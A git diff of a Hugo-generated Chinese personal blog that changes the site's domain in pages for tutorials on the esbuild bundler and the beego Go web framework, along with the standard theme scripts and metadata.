+</code></pre><p>npm run build</p><p>或者</p><p>yarn build</p><p>添加图片支持（通过转换成base64的方法来引用）</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;loader:.jpg=dataurl</p><p>添加tsx支持（可以把tsx文件转换为普通的js文件）</p><p>npx esbuild app.tsx &ndash;outfile=build/index.js &ndash;bundle &ndash;loader:.js=jsx</p><p>esbuild社区插件库：https://github.com/esbuild/community-plugins</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li><li><a href=https://chenjunlinabc.github.io/tags/esbuild/>esbuild</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/134/><span class=title>« Prev</span><br><span>beego应用框架的简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/131/><span class=title>Next »</span><br><span>简单使用GitHub Actions来实现CI/CD</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/134/index.html b/posts/134/index.html
index 1c814a67..672f7235 100644
--- a/posts/134/index.html
+++ b/posts/134/index.html
@@ -22,15 +22,15 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&#34;name&#34;)
c.Data[&#34;Website&#34;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&#34;name&#34;) c.Data[&#34;Website&#34;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &ldquo;index.tpl&rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-<div class=&#34;author&#34;>
Official website:
<a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> /
Contact me:
<a class=&#34;email&#34; href=&#34;mailto:{{."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/134/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="beego应用框架的简单使用"><meta property="og:description" content="beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+<div class=&#34;author&#34;> Official website: <a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> / Contact me: <a class=&#34;email&#34; href=&#34;mailto:{{."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/134/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="beego应用框架的简单使用"><meta property="og:description" content="beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -54,14 +54,14 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&#34;name&#34;)
c.Data[&#34;Website&#34;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&#34;name&#34;) c.Data[&#34;Website&#34;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &ldquo;index.tpl&rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-<div class=&#34;author&#34;>
Official website:
<a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> /
Contact me:
<a class=&#34;email&#34; href=&#34;mailto:{{."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/134/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-12T16:50:00+00:00"><meta property="article:modified_time" content="2022-02-12T16:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="beego应用框架的简单使用"><meta name=twitter:description content="beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+<div class=&#34;author&#34;> Official website: <a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> / Contact me: <a class=&#34;email&#34; href=&#34;mailto:{{."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/134/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-12T16:50:00+00:00"><meta property="article:modified_time" content="2022-02-12T16:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="beego应用框架的简单使用"><meta name=twitter:description content="beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -85,23 +85,23 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&#34;name&#34;)
c.Data[&#34;Website&#34;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&#34;name&#34;) c.Data[&#34;Website&#34;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &ldquo;index.tpl&rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-<div class=&#34;author&#34;>
Official website:
<a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> /
Contact me:
<a class=&#34;email&#34; href=&#34;mailto:{{."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"beego应用框架的简单使用","item":"https://xiaochenabc123.github.io/posts/134/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"beego应用框架的简单使用","name":"beego应用框架的简单使用","description":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;)\rc.Data[\u0026quot;Website\u0026quot;] = name\r访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt;\rOfficial website:\r\u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; /\rContact me:\r\u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.","keywords":["golang","beego"],"articleBody":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\"name\")\rc.Data[\"Website\"] = name\r访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\nOfficial website:\r{{.Website}} /\rContact me:\r{{.Email}}\r在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据\n数据库交互\nbee generate scaffold test -fields=“id:int64,name:string” -driver=mysql -conn=“root:root@tcp(127.0.0.1:3306)/test”\n上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息\n如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建\n在models下的test.go文件，可以看到已经添加了管理数据库的函数\n静态文件的引用\nbeego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir[\"/static\"] = “static”\n如果有多个静态文件目录，可使用beego.SetStaticPath(\"/test\", “test”)\n","wordCount":"92","inLanguage":"en","datePublished":"2022-02-12T16:50:00Z","dateModified":"2022-02-12T16:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/134/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>beego应用框架的简单使用</h1><div class=post-meta><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/beego%e5%ba%94%e7%94%a8%e6%a1%86%e6%9e%b6%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新</p><p>安装</p><p>go get github.com/beego/beego</p><p>go get github.com/beego/bee</p><p>检查是否安装完成</p><p>bee version</p><p>beego项目可使用bee指令来创建和管理</p><p>创建第一个web应用</p><p>bee new hallo</p><p>beego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件</p><p>执行go mod tidy，生成go.sum</p><p>启动项目（bee run指令会自动编译部署）</p><p>bee run</p><p>访问http://127.0.0.1:8080/</p><p>其他常用beeg指令</p><p>创建api应用</p><p>bee api apitest</p><p>打包应用命令（将项目打包压缩）</p><p>bee pack</p><p>自动生成代码</p><p>bee generate</p><hr><p>controller控制器</p><p>简单接收一下get请求的参数</p><p>controllers/default.go，在func (c *MainController) Get() 函数中修改</p><pre><code>name := c.GetString(&quot;name&quot;)
-c.Data[&quot;Website&quot;] = name
-</code></pre><p>访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo</p><p>在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）</p><p>Model模型</p><p>在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型</p><p>View视图</p><p>在controllers/default.go看到c.TplName = &ldquo;index.tpl&rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎</p><p>在views/index.tpl中可以看到这个</p><pre><code>&lt;div class=&quot;author&quot;&gt;
-    Official website:
-    &lt;a href=&quot;http://{{.Website}}&quot;&gt;{{.Website}}&lt;/a&gt; /
-    Contact me:
-    &lt;a class=&quot;email&quot; href=&quot;mailto:{{.Email}}&quot;&gt;{{.Email}}&lt;/a&gt;
-&lt;/div&gt;
-</code></pre><p>在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据</p><hr><p>数据库交互</p><p>bee generate scaffold test -fields=&ldquo;id:int64,name:string&rdquo; -driver=mysql -conn=&ldquo;root:root@tcp(127.0.0.1:3306)/test&rdquo;</p><p>上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息</p><p>如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建</p><p>在models下的test.go文件，可以看到已经添加了管理数据库的函数</p><hr><p>静态文件的引用</p><p>beego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir["/static"] = &ldquo;static&rdquo;</p><p>如果有多个静态文件目录，可使用beego.SetStaticPath("/test", &ldquo;test&rdquo;)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li><li><a href=https://xiaochenabc123.github.io/tags/beego/>beego</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/135/><span class=title>« Prev</span><br><span>Gin框架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/132/><span class=title>Next »</span><br><span>简单使用ESbuild打包工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<div class=&#34;author&#34;> Official website: <a href=&#34;http://{{.Website}}&#34;>{{.Website}}</a> / Contact me: <a class=&#34;email&#34; href=&#34;mailto:{{."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"beego应用框架的简单使用","item":"https://chenjunlinabc.github.io/posts/134/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"beego应用框架的简单使用","name":"beego应用框架的简单使用","description":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;) c.Data[\u0026quot;Website\u0026quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt; Official website: \u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; / Contact me: \u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.","keywords":["golang","beego"],"articleBody":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\"name\") c.Data[\"Website\"] = name 访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\nOfficial website: {{.Website}} / Contact me: {{.Email}} 在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据\n数据库交互\nbee generate scaffold test -fields=“id:int64,name:string” -driver=mysql -conn=“root:root@tcp(127.0.0.1:3306)/test”\n上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息\n如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建\n在models下的test.go文件，可以看到已经添加了管理数据库的函数\n静态文件的引用\nbeego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir[\"/static\"] = “static”\n如果有多个静态文件目录，可使用beego.SetStaticPath(\"/test\", “test”)\n","wordCount":"92","inLanguage":"en","datePublished":"2022-02-12T16:50:00Z","dateModified":"2022-02-12T16:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/134/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" 